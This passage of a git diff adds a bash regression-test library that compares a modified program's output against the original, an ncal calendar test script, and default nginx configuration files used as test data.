+#the remaining args are the files to store in the created directory
+log_results()
+{
+	if [[ -z "$LOG_DIR" || ! -d "$LOG_DIR" ]]; then
+		return
+	fi
+
+	echo logging:
+	for i in $2 $3 $4; 
+	do
+		echo $i
+		cat $i
+	done
+	
+
+	log_name=$1
+	shift
+
+	mkdir -p $LOG_DIR/$log_name
+
+	for file in $@
+	do
+		cp $file $LOG_DIR/$log_name/.
+	done
+}
+
+run_test_prog_only()
+{
+	TIMEOUT=$1
+	shift
+
+	cp $TEST_PROG_ORIG $CANONICAL
+	TEST_PROG=$CANONICAL
+
+	cmd_args="$@"
+
+	if [[ "$TEST_PROG" == "" ]]; then
+		echo "TEST SCRIPT ERROR: TEST_PROG does not exist, reporting failure"
+		report_failure
+	fi
+
+	if [[ "$TIMEOUT" -le 0 ]] || [[ ! -z "$IGNORE_RESULTS" ]]; then
+		echo "$TEST_PROG $@ >test_out 2>test_error"
+		$TEST_PROG "$@" >test_out 2>test_error
+	else
+		echo "timeout $TIMEOUT $TEST_PROG $@ >test_out 2>test_error"
+		timeout $TIMEOUT $TEST_PROG "$@" >test_out 2>test_error
+	fi
+
+	status=$?
+	echo $status >test_status
+
+	log_name=`echo "TEST_$TEST_PROG $cmd_args" | sed -e 's/ /_/g' -e 's/\//#/g'`
+	log_results $log_name test_out test_error test_status 
+
+	return $status
+}
+
+# this script takes 3 arguments:
+# $1 is the TIMEOUT value
+# $2 is the name of the binary to kill
+# $3 is the full path to the script which contains commands to send to the server
+# $@ is the rest of commandline for invoking the test program
+run_server_test_prog_only() 
+{
+	TIMEOUT=$1
+	shift
+
+    # binary name for making call to killallProcess
+    BIN_NAME=$1
+    shift
+
+    # script containing requests to the server
+    TEST_SCRIPT=$1
+    echo TEST_SCRIPT=$TEST_SCRIPT
+    shift
+
+	cmd_args="$@"
+
+	if [[ "$TEST_PROG" == "" ]]; then
+		report_failure "TEST SCRIPT ERROR: TEST_PROG does not exist, reporting failure"
+    else
+        echo
+        echo TEST_PROG=$TEST_PROG
+	fi
+
+    # first make sure that there are not other instances of the server running
+    echo Killing any pre-existing copies
+    killall $BIN_NAME
+    sleep 2
+
+    # start the server
+	if [[ "$TIMEOUT" -le 0 ]] || [[ ! -z "$IGNORE_RESULTS" ]]; then
+		echo "$TEST_PROG $@ >test_out 2>test_error"
+		$TEST_PROG "$@" >test_out 2>test_error
+	else
+		echo "timeout $TIMEOUT $TEST_PROG $@ >test_out 2>test_error"
+		timeout $TIMEOUT $TEST_PROG "$@" >test_out 2>test_error
+	fi
+
+    # grab the status before killing
+	status=$?
+	echo $status >test_status
+
+    # run the script containing commands that sends requests to the server
+    # this takes a single argument that indicates whether it is test or orig
+    if [[ -e "$TEST_SCRIPT" ]]; then
+        bash  $TEST_SCRIPT "test"  > throw_away/test_script_test_run_out 2> throw_away/test_script_test_run_error
+        echo $? > throw_away/test_script_test_run_status
+    else
+        report_failure "$TEST_SCRIPT is not a valid filepath to a test script"
+    fi
+
+    # kill the server
+    echo "after running test script:  Killing $TEST_PROG"
+    killall $BIN_NAME
+    sleep 2
+
+	log_name=`echo "TEST_$TEST_PROG $cmd_args" | sed -e 's/ /_/g' -e 's/\//#/g'`
+	log_results $log_name test_out test_error test_status 
+
+	return $status
+}
+
+run_bench_prog_only()
+{
+	cp $BENCH_ORIG $CANONICAL
+	BENCH=$CANONICAL
+
+	TIMEOUT=$1
+	shift
+
+	cmd_args="$@"
+
+	#ignore the results, and continue. 
+	if [[ ! -z "$IGNORE_RESULTS" ]]; then
+		return
+	fi
+
+	if [[ "$BENCH" == "" ]]; then
+		echo "TEST SCRIPT ERROR: BENCH does not exist, reporting failure"
+		report_failure
+	fi
+
+	if [[ "$TIMEOUT" -le 0 ]] || [[ ! -z "$IGNORE_RESULTS" ]]; then
+		echo "eval $BENCH $@ >orig_out 2>orig_error"
+		$BENCH "$@" >orig_out 2>orig_error
+	else
+		echo "timeout $TIMEOUT $BENCH $@ >orig_out 2>orig_error"
+		timeout $TIMEOUT $BENCH "$@" >orig_out 2>orig_error
+	fi
+
+	status=$?
+	echo $status >orig_status
+
+	log_name=`echo "BENCH_$BENCH $cmd_args" | sed -e 's/ /_/g' -e 's/\//#/g'`
+	log_results $log_name orig_out orig_error orig_status 
+
+	return $status
+}
+
+# This script is a version of run_bench_prog_only, but for servers
+#   Where the server has to be started, then requests need to be sent to it
+#   separately
+# $1 is the TIMEOUT value
+# $2 is the binary name for kill process command
+# $3 is the full path to the script which contains commands to send to the server
+# $@ is the rest of commandline for invoking the test program
+run_server_bench_prog_only()
+{
+	TIMEOUT=$1
+	shift
+
+    BIN_NAME=$1
+    shift
+
+    TEST_SCRIPT=$1
+    echo TEST_SCRIPT=$TEST_SCRIPT
+    shift
+
+	cmd_args="$@"
+
+	#ignore the results, and continue. 
+	if [[ ! -z "$IGNORE_RESULTS" ]]; then
+		return
+	fi
+
+	if [[ "$BENCH" == "" ]]; then
+		report_failure "TEST SCRIPT ERROR: BENCH does not exist, reporting failure"
+	fi
+
+    # first make sure that there are not other instances of the server running
+    echo "Killing any pre-existing instances of $BIN_NAME"
+    killall $BIN_NAME
+    sleep 2
+
+	if [[ "$TIMEOUT" -le 0 ]] || [[ ! -z "$IGNORE_RESULTS" ]]; then
+		echo "eval $BENCH $@ >orig_out 2>orig_error"
+		$BENCH "$@" >orig_out 2>orig_error
+	else
+		echo "timeout $TIMEOUT $BENCH $@ >orig_out 2>orig_error"
+		timeout $TIMEOUT $BENCH "$@" >orig_out 2>orig_error
+	fi
+
+	status=$?
+	echo $status >orig_status
+
+    # run the script containing commands that sends requests to the server
+    # test takes single argument which indicates whether it is orig or test  
+    if [[ -e "$TEST_SCRIPT" ]]; then
+        bash  $TEST_SCRIPT "orig"  > throw_away/test_script_run_bench_out 2> throw_away/test_script_run_bench_error
+        echo $?  > throw_away/test_script_run_bench_status
+    else
+        report_failure "$TEST_SCRIPT is not a valid filepath to a test script"
+    fi
+
+
+    # kill the server
+    echo "Killing $BENCH after running test: $TEST_SCRIPT"
+    killall $BIN_NAME
+    sleep 2
+
+	log_name=`echo "BENCH_$BENCH $cmd_args" | sed -e 's/ /_/g' -e 's/\//#/g'`
+	log_results $log_name orig_out orig_error orig_status 
+
+	return $status
+}
+
+
+#diff $1 and $2, do not use the name filtering, and report
+#failure if not matching
+compare_files_no_filtering()
+{
+		#ignore the results, and continue. 
+	if [[ ! -z "$IGNORE_RESULTS" ]]; then
+		return
+	fi
+
+	diff $1 $2
+	if [ ! "$?" -eq 0 ]; then
+		echo "File Comparison Failure"
+		report_failure
+	fi 
+}
+
+#compares orig_status and test_status files
+compare_exit_status()
+{
+	#ignore the results, and continue. 
+	if [[ ! -z "$IGNORE_RESULTS" ]]; then
+		return
+	fi
+
+	diff orig_status test_status
+
+	if [ ! "$?" -eq 0 ]; then
+		echo "Exit Status Failure"
+		report_failure
+	fi 
+}
+
+show_log()
+{
+	echo "=== Show content of $1 ==="
+	cat $1
+}
+
+#assumes that orig_status, test_status, orig_error, test_error, orig_out, and test_out
+#all exists, and does a comparison of each. 
+compare_std_results()
+{
+	#ignore the results, and continue. 
+	if [[ ! -z "$IGNORE_RESULTS" ]]; then
+		return
+	fi
+
+	diff orig_status test_status
+
+	if [ ! "$?" -eq 0 ]; then
+		echo "Exit Status Failure"
+		if [ ! -z "$TEST_VERBOSE" ]; then
+			show_log orig_out
+			show_log test_out
+			show_log orig_error
+			show_log test_error
+		fi
+		report_failure
+	fi 
+
+	filter_prog_name orig_error
+	filter_prog_name test_error
+
+	diff orig_error test_error
+	if [ ! $? -eq 0 ]; then
+		echo "Stderr  Failure"
+		if [ ! -z "$TEST_VERBOSE" ]; then
+			show_log orig_error
+			show_log test_error
+		fi
+		report_failure
+	fi 
+
+	filter_prog_name orig_out
+	filter_prog_name test_out
+
+	diff orig_out test_out
+	if [ ! $? -eq 0 ]; then
+		echo "run_test Stdout Failure"
+		if [ ! -z "$TEST_VERBOSE" ]; then
+			show_log orig_out
+			show_log test_out
+		fi
+		report_failure
+	fi 
+}
+
+#Runs both TEST_PROG and BENCH and compares stdout stderr and the exit status.
+#Arg 1 is the timeout time
+#The remaining args are the arguments to pass to both TEST_PROG and BENCH
+run_basic_test()
+{
+	cleanup
+
+	run_test_prog_only "$@"
+
+	#ignore the results, and continue. 
+	if [[ ! -z "$IGNORE_RESULTS" ]]; then
+		return
+	fi
+
+	run_bench_prog_only "$@"
+
+	compare_std_results
+	cleanup
+}
+
+filter_prog_name()
+{
+	cat $1 | sed -r -e "s|[^[:space:]]*$NAME_REGEX|$DUMMY_NAME|g" >tmp
+
+	if [[ ! -z "$DELETE_FILTER" ]]; then
+		cat tmp | sed -r -e "/($DELETE_FILTER)/Id">$1
+	else
+		cat tmp>$1
+	fi
+	rm tmp
+}
diff --git a/peasoup_examples/tests/ncal/test_script.sh b/peasoup_examples/tests/ncal/test_script.sh
new file mode 100755
index 0000000000000000000000000000000000000000..6bfac8c6724b0412a04af65b3fc861a22458870a
--- /dev/null
+++ b/peasoup_examples/tests/ncal/test_script.sh
@@ -0,0 +1,34 @@
+#!/bin/bash
+#Everyone must point to the manual test library
+TEST_LIB=$PEASOUP_HOME/tests/manual_test_lib.sh
+
+#for grep, I use some data files, so I set up variables pointing to that location
+TEST_DIR=$PEASOUP_HOME/tests/ncal
+
+#used for filtering program names from output.
+ORIG_NAME=ncal
+
+#must import the library here, as it depends on some of the above variables
+. $TEST_LIB
+
+#run_basic_test will run both the modified program and original program using the same arguments. The first argument ot run_basic_test is the timeout value (in seconds) followed by the arguments for the programs. run_basic_test also does comparisons of stdout, stderr, and the exit status, and only does comparisons and uses timeout when the -i flag is not set. See the library for more details. 
+
+pwd
+echo "TEST_PROG: $TEST_PROG"
+
+# sanity check
+timeout 10 $BENCH 2000 | grep -i october
+if [ ! $? -eq 0 ];then 
+	report_failure
+fi
+
+ARGS=("" "-h" "-bogus" "2000" "-w 2000" "-3 5 2001" "1 2000" "1 1999" "-j 2000" "-J 2000" "-S 1000" "-M 1015" "-J -o 12 9999" "-e -p -y 2000" "-M -y -B9 -A5 2000" "-S -y -B10 -A10 2000" "-1" "-A-20 -B-5 1000"  "-w -m 3 1111" "-N 2000" "-N -w 2000" "-N -3 8 2001" "-N 1 2000" "-N 1 1999" "-N -j 2000" "-N -J 2000" "-N -S 1000" "-N -M 1015" "-N -J -o 12 9999" "-N -e -p -y 2000" "-N -M -y -B9 -A5 2000" "-N -S -y -B10 -A10 2000" "-N -1" "-N -A-20 -B-5 1000"  "-N -w -m 3 1111" "-N -y 1999 -m 3" "-N -y -b" "-N -s GB 2000")
+
+for ix in ${!ARGS[*]}
+do
+	run_basic_test 30 ${ARGS[$ix]}
+done
+
+cleanup
+
+report_success
diff --git a/peasoup_examples/tests/nginx/data/conf/fastcgi.conf b/peasoup_examples/tests/nginx/data/conf/fastcgi.conf
new file mode 100644
index 0000000000000000000000000000000000000000..ac9ff92049f9ff7e183089f3d095c9b9629c175f
--- /dev/null
+++ b/peasoup_examples/tests/nginx/data/conf/fastcgi.conf
@@ -0,0 +1,25 @@
+
+fastcgi_param  SCRIPT_FILENAME    $document_root$fastcgi_script_name;
+fastcgi_param  QUERY_STRING       $query_string;
+fastcgi_param  REQUEST_METHOD     $request_method;
+fastcgi_param  CONTENT_TYPE       $content_type;
+fastcgi_param  CONTENT_LENGTH     $content_length;
+
+fastcgi_param  SCRIPT_NAME        $fastcgi_script_name;
+fastcgi_param  REQUEST_URI        $request_uri;
+fastcgi_param  DOCUMENT_URI       $document_uri;
+fastcgi_param  DOCUMENT_ROOT      $document_root;
+fastcgi_param  SERVER_PROTOCOL    $server_protocol;
+fastcgi_param  HTTPS              $https if_not_empty;
+
+fastcgi_param  GATEWAY_INTERFACE  CGI/1.1;
+fastcgi_param  SERVER_SOFTWARE    nginx/$nginx_version;
+
+fastcgi_param  REMOTE_ADDR        $remote_addr;
+fastcgi_param  REMOTE_PORT        $remote_port;
+fastcgi_param  SERVER_ADDR        $server_addr;
+fastcgi_param  SERVER_PORT        $server_port;
+fastcgi_param  SERVER_NAME        $server_name;
+
+# PHP only, required if PHP was built with --enable-force-cgi-redirect
+fastcgi_param  REDIRECT_STATUS    200;
diff --git a/peasoup_examples/tests/nginx/data/conf/fastcgi.conf.default b/peasoup_examples/tests/nginx/data/conf/fastcgi.conf.default
new file mode 100644
index 0000000000000000000000000000000000000000..ac9ff92049f9ff7e183089f3d095c9b9629c175f
--- /dev/null
+++ b/peasoup_examples/tests/nginx/data/conf/fastcgi.conf.default
@@ -0,0 +1,25 @@
+
+fastcgi_param  SCRIPT_FILENAME    $document_root$fastcgi_script_name;
+fastcgi_param  QUERY_STRING       $query_string;
+fastcgi_param  REQUEST_METHOD     $request_method;
+fastcgi_param  CONTENT_TYPE       $content_type;
+fastcgi_param  CONTENT_LENGTH     $content_length;
+
+fastcgi_param  SCRIPT_NAME        $fastcgi_script_name;
+fastcgi_param  REQUEST_URI        $request_uri;
+fastcgi_param  DOCUMENT_URI       $document_uri;
+fastcgi_param  DOCUMENT_ROOT      $document_root;
+fastcgi_param  SERVER_PROTOCOL    $server_protocol;
+fastcgi_param  HTTPS              $https if_not_empty;
+
+fastcgi_param  GATEWAY_INTERFACE  CGI/1.1;
+fastcgi_param  SERVER_SOFTWARE    nginx/$nginx_version;
+
+fastcgi_param  REMOTE_ADDR        $remote_addr;
+fastcgi_param  REMOTE_PORT        $remote_port;
+fastcgi_param  SERVER_ADDR        $server_addr;
+fastcgi_param  SERVER_PORT        $server_port;
+fastcgi_param  SERVER_NAME        $server_name;
+
+# PHP only, required if PHP was built with --enable-force-cgi-redirect
+fastcgi_param  REDIRECT_STATUS    200;
diff --git a/peasoup_examples/tests/nginx/data/conf/fastcgi_params b/peasoup_examples/tests/nginx/data/conf/fastcgi_params
new file mode 100644
index 0000000000000000000000000000000000000000..71e2c2e3bed4386323fd18111c9f62408ce18d79
--- /dev/null
+++ b/peasoup_examples/tests/nginx/data/conf/fastcgi_params
@@ -0,0 +1,24 @@
+
+fastcgi_param  QUERY_STRING       $query_string;
+fastcgi_param  REQUEST_METHOD     $request_method;
+fastcgi_param  CONTENT_TYPE       $content_type;
+fastcgi_param  CONTENT_LENGTH     $content_length;
+
+fastcgi_param  SCRIPT_NAME        $fastcgi_script_name;
+fastcgi_param  REQUEST_URI        $request_uri;
+fastcgi_param  DOCUMENT_URI       $document_uri;
+fastcgi_param  DOCUMENT_ROOT      $document_root;
+fastcgi_param  SERVER_PROTOCOL    $server_protocol;
+fastcgi_param  HTTPS              $https if_not_empty;
+
+fastcgi_param  GATEWAY_INTERFACE  CGI/1.1;
+fastcgi_param  SERVER_SOFTWARE    nginx/$nginx_version;
+
+fastcgi_param  REMOTE_ADDR        $remote_addr;
+fastcgi_param  REMOTE_PORT        $remote_port;
+fastcgi_param  SERVER_ADDR        $server_addr;
+fastcgi_param  SERVER_PORT        $server_port;
+fastcgi_param  SERVER_NAME        $server_name;
+
+# PHP only, required if PHP was built with --enable-force-cgi-redirect
+fastcgi_param  REDIRECT_STATUS    200;
diff --git a/peasoup_examples/tests/nginx/data/conf/fastcgi_params.default b/peasoup_examples/tests/nginx/data/conf/fastcgi_params.default
new file mode 100644
index 0000000000000000000000000000000000000000..71e2c2e3bed4386323fd18111c9f62408ce18d79
--- /dev/null
+++ b/peasoup_examples/tests/nginx/data/conf/fastcgi_params.default
@@ -0,0 +1,24 @@
+
+fastcgi_param  QUERY_STRING       $query_string;
+fastcgi_param  REQUEST_METHOD     $request_method;
+fastcgi_param  CONTENT_TYPE       $content_type;
+fastcgi_param  CONTENT_LENGTH     $content_length;
+
+fastcgi_param  SCRIPT_NAME        $fastcgi_script_name;
+fastcgi_param  REQUEST_URI        $request_uri;
+fastcgi_param  DOCUMENT_URI       $document_uri;
+fastcgi_param  DOCUMENT_ROOT      $document_root;
+fastcgi_param  SERVER_PROTOCOL    $server_protocol;
+fastcgi_param  HTTPS              $https if_not_empty;
+
+fastcgi_param  GATEWAY_INTERFACE  CGI/1.1;
+fastcgi_param  SERVER_SOFTWARE    nginx/$nginx_version;
+
+fastcgi_param  REMOTE_ADDR        $remote_addr;
+fastcgi_param  REMOTE_PORT        $remote_port;
+fastcgi_param  SERVER_ADDR        $server_addr;
+fastcgi_param  SERVER_PORT        $server_port;
+fastcgi_param  SERVER_NAME        $server_name;
+
+# PHP only, required if PHP was built with --enable-force-cgi-redirect
+fastcgi_param  REDIRECT_STATUS    200;
diff --git a/peasoup_examples/tests/nginx/data/conf/koi-utf b/peasoup_examples/tests/nginx/data/conf/koi-utf
new file mode 100644
index 0000000000000000000000000000000000000000..e7974ff6ad9a48641779976568bc37aeebc032ec
--- /dev/null
+++ b/peasoup_examples/tests/nginx/data/conf/koi-utf
@@ -0,0 +1,109 @@
+
+# This map is not a full koi8-r <> utf8 map: it does not contain
+# box-drawing and some other characters.  Besides this map contains
+# several koi8-u and Byelorussian letters which are not in koi8-r.
+# If you need a full and standard map, use contrib/unicode2nginx/koi-utf
+# map instead.
+
+charset_map  koi8-r  utf-8 {
+
+    80  E282AC ; # euro
+
+    95  E280A2 ; # bullet
+
+    9A  C2A0 ;   # &nbsp;
+
+    9E  C2B7 ;   # &middot;
+
+    A3  D191 ;   # small yo
+    A4  D194 ;   # small Ukrainian ye
+
+    A6  D196 ;   # small Ukrainian i
+    A7  D197 ;   # small Ukrainian yi
+
+    AD  D291 ;   # small Ukrainian soft g
+    AE  D19E ;   # small Byelorussian short u
+
+    B0  C2B0 ;   # &deg;
+
+    B3  D081 ;   # capital YO
+    B4  D084 ;   # capital Ukrainian YE
+
+    B6  D086 ;   # capital Ukrainian I
+    B7  D087 ;   # capital Ukrainian YI
+
+    B9  E28496 ; # numero sign
+
+    BD  D290 ;   # capital Ukrainian soft G
+    BE  D18E ;   # capital Byelorussian short U
+
+    BF  C2A9 ;   # (C)
+
+    C0  D18E ;   # small yu
+    C1  D0B0 ;   # small a
+    C2  D0B1 ;   # small b
+    C3  D186 ;   # small ts
+    C4  D0B4 ;   # small d
+    C5  D0B5 ;   # small ye
+    C6  D184 ;   # small f
+    C7  D0B3 ;   # small g
+    C8  D185 ;   # small kh
+    C9  D0B8 ;   # small i
+    CA  D0B9 ;   # small j
+    CB  D0BA ;   # small k
+    CC  D0BB ;   # small l
+    CD  D0BC ;   # small m
+    CE  D0BD ;   # small n
+    CF  D0BE ;   # small o
+
+    D0  D0BF ;   # small p
+    D1  D18F ;   # small ya
+    D2  D180 ;   # small r
+    D3  D181 ;   # small s
+    D4  D182 ;   # small t
+    D5  D183 ;   # small u
+    D6  D0B6 ;   # small zh
+    D7  D0B2 ;   # small v
+    D8  D18C ;   # small soft sign
+    D9  D18B ;   # small y
+    DA  D0B7 ;   # small z
+    DB  D188 ;   # small sh
+    DC  D18D ;   # small e
+    DD  D189 ;   # small shch
+    DE  D187 ;   # small ch
+    DF  D18A ;   # small hard sign
+
+    E0  D0AE ;   # capital YU
+    E1  D090 ;   # capital A
+    E2  D091 ;   # capital B
+    E3  D0A6 ;   # capital TS
+    E4  D094 ;   # capital D
+    E5  D095 ;   # capital YE
+    E6  D0A4 ;   # capital F
+    E7  D093 ;   # capital G
+    E8  D0A5 ;   # capital KH
+    E9  D098 ;   # capital I
+    EA  D099 ;   # capital J
+    EB  D09A ;   # capital K
+    EC  D09B ;   # capital L
+    ED  D09C ;   # capital M
+    EE  D09D ;   # capital N
+    EF  D09E ;   # capital O
+
+    F0  D09F ;   # capital P
+    F1  D0AF ;   # capital YA
+    F2  D0A0 ;   # capital R
+    F3  D0A1 ;   # capital S
+    F4  D0A2 ;   # capital T
+    F5  D0A3 ;   # capital U
+    F6  D096 ;   # capital ZH
+    F7  D092 ;   # capital V
+    F8  D0AC ;   # capital soft sign
+    F9  D0AB ;   # capital Y
+    FA  D097 ;   # capital Z
+    FB  D0A8 ;   # capital SH
+    FC  D0AD ;   # capital E
+    FD  D0A9 ;   # capital SHCH
+    FE  D0A7 ;   # capital CH
+    FF  D0AA ;   # capital hard sign
+}
diff --git a/peasoup_examples/tests/nginx/data/conf/koi-win b/peasoup_examples/tests/nginx/data/conf/koi-win
new file mode 100644
index 0000000000000000000000000000000000000000..72afabe89b85543ae6a78f707fe7aba6f8014db1
--- /dev/null
+++ b/peasoup_examples/tests/nginx/data/conf/koi-win
@@ -0,0 +1,103 @@
+
+charset_map  koi8-r  windows-1251 {
+
+    80  88 ; # euro
+
+    95  95 ; # bullet
+
+    9A  A0 ; # &nbsp;
+
+    9E  B7 ; # &middot;
+
+    A3  B8 ; # small yo
+    A4  BA ; # small Ukrainian ye
+
+    A6  B3 ; # small Ukrainian i
+    A7  BF ; # small Ukrainian yi
+
+    AD  B4 ; # small Ukrainian soft g
+    AE  A2 ; # small Byelorussian short u
+
+    B0  B0 ; # &deg;
+
+    B3  A8 ; # capital YO
+    B4  AA ; # capital Ukrainian YE
+
+    B6  B2 ; # capital Ukrainian I
+    B7  AF ; # capital Ukrainian YI
+
+    B9  B9 ; # numero sign
+
+    BD  A5 ; # capital Ukrainian soft G
+    BE  A1 ; # capital Byelorussian short U
+
+    BF  A9 ; # (C)
+
+    C0  FE ; # small yu
+    C1  E0 ; # small a
+    C2  E1 ; # small b
+    C3  F6 ; # small ts
+    C4  E4 ; # small d
+    C5  E5 ; # small ye
+    C6  F4 ; # small f
+    C7  E3 ; # small g
+    C8  F5 ; # small kh
+    C9  E8 ; # small i
+    CA  E9 ; # small j
+    CB  EA ; # small k
+    CC  EB ; # small l
+    CD  EC ; # small m
+    CE  ED ; # small n
+    CF  EE ; # small o
+
+    D0  EF ; # small p
+    D1  FF ; # small ya
+    D2  F0 ; # small r
+    D3  F1 ; # small s
+    D4  F2 ; # small t
+    D5  F3 ; # small u
+    D6  E6 ; # small zh
+    D7  E2 ; # small v
+    D8  FC ; # small soft sign
+    D9  FB ; # small y
+    DA  E7 ; # small z
+    DB  F8 ; # small sh
+    DC  FD ; # small e
+    DD  F9 ; # small shch
+    DE  F7 ; # small ch
+    DF  FA ; # small hard sign
+
+    E0  DE ; # capital YU
+    E1  C0 ; # capital A
+    E2  C1 ; # capital B
+    E3  D6 ; # capital TS
+    E4  C4 ; # capital D
+    E5  C5 ; # capital YE
+    E6  D4 ; # capital F
+    E7  C3 ; # capital G
+    E8  D5 ; # capital KH
+    E9  C8 ; # capital I
+    EA  C9 ; # capital J
+    EB  CA ; # capital K
+    EC  CB ; # capital L
+    ED  CC ; # capital M
+    EE  CD ; # capital N
+    EF  CE ; # capital O
+
+    F0  CF ; # capital P
+    F1  DF ; # capital YA
+    F2  D0 ; # capital R
+    F3  D1 ; # capital S
+    F4  D2 ; # capital T
+    F5  D3 ; # capital U
+    F6  C6 ; # capital ZH
+    F7  C2 ; # capital V
+    F8  DC ; # capital soft sign
+    F9  DB ; # capital Y
+    FA  C7 ; # capital Z
+    FB  D8 ; # capital SH
+    FC  DD ; # capital E
+    FD  D9 ; # capital SHCH
+    FE  D7 ; # capital CH
+    FF  DA ; # capital hard sign
+}
diff --git a/peasoup_examples/tests/nginx/data/conf/mime.types b/peasoup_examples/tests/nginx/data/conf/mime.types
new file mode 100644
index 0000000000000000000000000000000000000000..8a218b22a84ba4c28f73a4717f021627b01954c1
--- /dev/null
+++ b/peasoup_examples/tests/nginx/data/conf/mime.types
@@ -0,0 +1,80 @@
+
+types {
+    text/html                             html htm shtml;
+    text/css                              css;
+    text/xml                              xml;
+    image/gif                             gif;
+    image/jpeg                            jpeg jpg;
+    application/x-javascript              js;
+    application/atom+xml                  atom;
+    application/rss+xml                   rss;
+
+    text/mathml                           mml;
+    text/plain                            txt;
+    text/vnd.sun.j2me.app-descriptor      jad;
+    text/vnd.wap.wml                      wml;
+    text/x-component                      htc;
+
+    image/png                             png;
+    image/tiff                            tif tiff;
+    image/vnd.wap.wbmp                    wbmp;
+    image/x-icon                          ico;
+    image/x-jng                           jng;
+    image/x-ms-bmp                        bmp;
+    image/svg+xml                         svg svgz;
+    image/webp                            webp;
+
+    application/java-archive              jar war ear;
+    application/mac-binhex40              hqx;
+    application/msword                    doc;
+    application/pdf                       pdf;
+    application/postscript                ps eps ai;
+    application/rtf                       rtf;
+    application/vnd.ms-excel              xls;
+    application/vnd.ms-powerpoint         ppt;
+    application/vnd.wap.wmlc              wmlc;
+    application/vnd.google-earth.kml+xml  kml;
+    application/vnd.google-earth.kmz      kmz;
+    application/x-7z-compressed           7z;
+    application/x-cocoa                   cco;
+    application/x-java-archive-diff       jardiff;
+    application/x-java-jnlp-file          jnlp;
+    application/x-makeself                run;
+    application/x-perl                    pl pm;
+    application/x-pilot                   prc pdb;
+    application/x-rar-compressed          rar;
+    application/x-redhat-package-manager  rpm;
+    application/x-sea                     sea;
+    application/x-shockwave-flash         swf;
+    application/x-stuffit                 sit;
+    application/x-tcl                     tcl tk;
+    application/x-x509-ca-cert            der pem crt;
+    application/x-xpinstall               xpi;
+    application/xhtml+xml                 xhtml;
+    application/zip                       zip;
+
+    application/octet-stream              bin exe dll;
+    application/octet-stream              deb;
+    application/octet-stream              dmg;
+    application/octet-stream              eot;
+    application/octet-stream              iso img;
+    application/octet-stream              msi msp msm;
+
+    audio/midi                            mid midi kar;
+    audio/mpeg                            mp3;
+    audio/ogg                             ogg;
+    audio/x-m4a                           m4a;
+    audio/x-realaudio                     ra;
+
+    video/3gpp                            3gpp 3gp;
+    video/mp4                             mp4;
+    video/mpeg                            mpeg mpg;
+    video/quicktime                       mov;
+    video/webm                            webm;
+    video/x-flv                           flv;
+    video/x-m4v                           m4v;
+    video/x-mng                           mng;
+    video/x-ms-asf                        asx asf;
+    video/x-ms-wmv                        wmv;
+    video/x-msvideo                       avi;
+}
diff --git a/peasoup_examples/tests/nginx/data/conf/mime.types.default b/peasoup_examples/tests/nginx/data/conf/mime.types.default
new file mode 100644
index 0000000000000000000000000000000000000000..8a218b22a84ba4c28f73a4717f021627b01954c1
--- /dev/null
+++ b/peasoup_examples/tests/nginx/data/conf/mime.types.default
@@ -0,0 +1,80 @@
+
+types {
+    text/html                             html htm shtml;
+    text/css                              css;
+    text/xml                              xml;
+    image/gif                             gif;
+    image/jpeg                            jpeg jpg;
+    application/x-javascript              js;
+    application/atom+xml                  atom;
+    application/rss+xml                   rss;
+
+    text/mathml                           mml;
+    text/plain                            txt;
+    text/vnd.sun.j2me.app-descriptor      jad;
+    text/vnd.wap.wml                      wml;
+    text/x-component                      htc;
+
+    image/png                             png;
+    image/tiff                            tif tiff;
+    image/vnd.wap.wbmp                    wbmp;
+    image/x-icon                          ico;
+    image/x-jng                           jng;
+    image/x-ms-bmp                        bmp;
+    image/svg+xml                         svg svgz;
+    image/webp                            webp;
+
+    application/java-archive              jar war ear;
+    application/mac-binhex40              hqx;
+    application/msword                    doc;
+    application/pdf                       pdf;
+    application/postscript                ps eps ai;
+    application/rtf                       rtf;
+    application/vnd.ms-excel              xls;
+    application/vnd.ms-powerpoint         ppt;
+    application/vnd.wap.wmlc              wmlc;
+    application/vnd.google-earth.kml+xml  kml;
+    application/vnd.google-earth.kmz      kmz;
+    application/x-7z-compressed           7z;
+    application/x-cocoa                   cco;
+    application/x-java-archive-diff       jardiff;
+    application/x-java-jnlp-file          jnlp;
+    application/x-makeself                run;
+    application/x-perl                    pl pm;
+    application/x-pilot                   prc pdb;
+    application/x-rar-compressed          rar;
+    application/x-redhat-package-manager  rpm;
+    application/x-sea                     sea;
+    application/x-shockwave-flash         swf;
+    application/x-stuffit                 sit;
+    application/x-tcl                     tcl tk;
+    application/x-x509-ca-cert            der pem crt;
+    application/x-xpinstall               xpi;
+    application/xhtml+xml                 xhtml;
+    application/zip                       zip;
+
+    application/octet-stream              bin exe dll;
+    application/octet-stream              deb;
+    application/octet-stream              dmg;
+    application/octet-stream              eot;
+    application/octet-stream              iso img;
+    application/octet-stream              msi msp msm;
+
+    audio/midi                            mid midi kar;
+    audio/mpeg                            mp3;
+    audio/ogg                             ogg;
+    audio/x-m4a                           m4a;
+    audio/x-realaudio                     ra;
+
+    video/3gpp                            3gpp 3gp;
+    video/mp4                             mp4;
+    video/mpeg                            mpeg mpg;
+    video/quicktime                       mov;
+    video/webm                            webm;
+    video/x-flv                           flv;
+    video/x-m4v                           m4v;
+    video/x-mng                           mng;
+    video/x-ms-asf                        asx asf;
+    video/x-ms-wmv                        wmv;
+    video/x-msvideo                       avi;
+}
diff --git a/peasoup_examples/tests/nginx/data/conf/nginx.conf b/peasoup_examples/tests/nginx/data/conf/nginx.conf
new file mode 100644
index 0000000000000000000000000000000000000000..a9bb21ba153c34c7bd5ea7deb7443420512d72b3
--- /dev/null
+++ b/peasoup_examples/tests/nginx/data/conf/nginx.conf
@@ -0,0 +1,120 @@
+
+#user  nobody;
+worker_processes  1;
+
+error_log  logs/error.log;
+#error_log  logs/error.log  notice;
+#error_log  logs/error.log  info;
+
+pid        logs/nginx.pid;
+
+
+events {
+    worker_connections  1024;
+}
+
+
+http {
+    include       mime.types;
+    default_type  application/octet-stream;
+
+    #log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
+    #                  '$status $body_bytes_sent "$http_referer" '
+    #                  '"$http_user_agent" "$http_x_forwarded_for"';
+
+    access_log  logs/access.log  ;
+
+    sendfile        on;
+    #tcp_nopush     on;
+
+    #keepalive_timeout  0;
+    keepalive_timeout  65;
+
+    #gzip  on;
+
+    server {
+#        listen       80;
+        listen       1025;
+        server_name  localhost;
+
+        #charset koi8-r;
+
+        access_log  logs/host.access.log  ;
+
+        location / {
+#            root   html;
+            root   wwwroot;
+            index  index.html index.htm;
+        }
+
+        #error_page  404              /404.html;
+
+        # redirect server error pages to the static page /50x.html
+        #
+        error_page   500 502 503 504  /50x.html;
+        location = /50x.html {
